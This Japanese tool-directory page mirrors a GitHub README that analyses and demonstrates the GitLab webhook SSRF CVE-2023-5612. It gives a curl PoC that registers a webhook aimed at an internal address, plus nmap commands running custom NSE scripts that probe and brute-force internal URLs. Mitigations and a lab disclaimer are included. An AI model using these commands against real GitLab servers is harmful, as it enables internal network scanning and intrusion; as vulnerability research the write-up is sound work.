Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Review.CVE-2023-5612 — CVE-2023-5612(GitLab CE/EE の Webhook SSRF)の概念実証と分析。curl による PoC 手順と、内部 URL を検証・ブルートフォースするためのカスタム NSE スクリプトを含みます。 | Kitploit
ツール/GitHubGitHub/constantinefedorov/review.cve-2023-5612
脆弱性スキャナーネットワークマッピング脆弱性分析エクスプロイトウェブセキュリティペネトレーションテストレッドチーミング
GitHubconstantinefedorov/review.cve-2023-5612

Review.CVE-2023-5612

CVE-2023-5612(GitLab CE/EE の Webhook SSRF)の概念実証と分析。curl による PoC 手順と、内部 URL を検証・ブルートフォースするためのカスタム NSE スクリプトを含みます。

リポジトリを見る
31年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-5612 – Webhook URL を介した GitLab SSRF (PoC & 分析)

📌 CVE 概要

  • CVE-ID: CVE-2023-5612
  • 深刻度: 高 (CVSS: 8.1 基本スコア)
  • 種類: サーバーサイドリクエストフォージェリ (SSRF)
  • コンポーネント: GitLab CE/EE Webhooks
  • 影響を受けるバージョン: GitLab CE/EE < 16.2.7, 16.3 < 16.3.4, 16.4 < 16.4.1

🧠 説明

GitLab CE/EE の SSRF 脆弱性により、有効な Project Maintainer アクセス権を持つ攻撃者が、悪意のある webhook URL を介して任意の内部サービスに細工されたリクエストを送信できます。悪用されると、内部ネットワークスキャン、メタデータ漏洩、またはさらなるピボットにつながります。


✅ 悪用条件

  • 攻撃者がプロジェクトへの maintainer アクセス権を持っている
  • GitLab が URL フックの厳格なフィルタリングや検証を行っていない

⚙️ PoC 手順 (手動)

curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

🧱 環境とセットアップ

- テスト専用に展開された仮想マシン内の Kali Linux
- Docker 経由で起動された脆弱な GitLab CE インスタンス (ポート 8080)
- GitLab 内部:
- テストプロジェクトを作成
- Maintainer 権限を持つ Personal Access Token (glpat-...) を生成
- 内部 SSRF ターゲット用に 127.0.0.1:8888 で最小限の HTTP サービスを起動

🧠 手法

- curl による手動での脆弱性確認 (PoC 参照)
- カスタム NSE スクリプトの作成:
gitlab-ssrf.nse: SSRF の的を絞ったチェック
gitlab-ssrf-brute.nse: 内部アドレスの自動ブルートフォース
- nmap -d および --script-trace を使用したテスト。API の挙動分析と結果の記録のため
- 内部サービスからの 401 Unauthorized 応答の取得。これは SSRF の成功を示す
- 成功したリクエストは `201 Created` または `401 Unauthorized` のようなエラーを返し、SSRF アクセスを示す。

🛠 NSE スクリプト (手動トリガー)

nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

🧪 NSE スクリプト (内部 URL のブルートフォース)

nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

📈 結論

脆弱性 **CVE-2023-5612** の作業中に、GitLab CE の API を介して内部アドレスにアクセスする SSRF 攻撃シナリオの再現に成功しました。これは、webhook の機能を制限し、サーバー側で URL 検証を実装することがいかに重要であるかを示しています。

🎯 目標達成:

  • SSRF を確認
  • NSE ツールを実装
  • プロジェクトを文書化し、コミュニティに公開

📂 リポジトリ構成

.
├── gitlab-ssrf.nse             # NSE script for manual SSRF verification
├── gitlab-ssrf-brute.nse       # NSE brute script to scan internal hosts/ports
├── screenshots/                # PoC 実行と脆弱性確認のスクリーンショット
└── README.md                   # このファイル

🖼 スクリーンショット

  • ✅ 401 Unauthorized を返す SSRF の成功
  • 📜 スクリプト実行時の nmap ログ
  • 📦 API 経由での webhook 追加

⚠️ 緩和策

  • GitLab を >= 16.2.7 / 16.3.4 / 16.4.1 にアップグレード
  • egress ファイアウォールを介して outbound HTTP を制限
  • webhook に内部 allow-list を使用

🧠 著者と連絡先

Pavel Topskiy
GitHub • Security Analyst, Red Team Analyst


📅 タイムライン

  • 2025年6月: PoC と脆弱性の分析
  • 2025年6月5日: カスタム NSE スクリプトとテストの作成

🔐 免責事項

すべてのテストは、意図的に脆弱なバージョンを使用した隔離されたラボ環境で実施されました。許可されていないシステムに対してこれを使用しないでください。倫理的なハッキングの原則を尊重してください。

ツールをダウンロード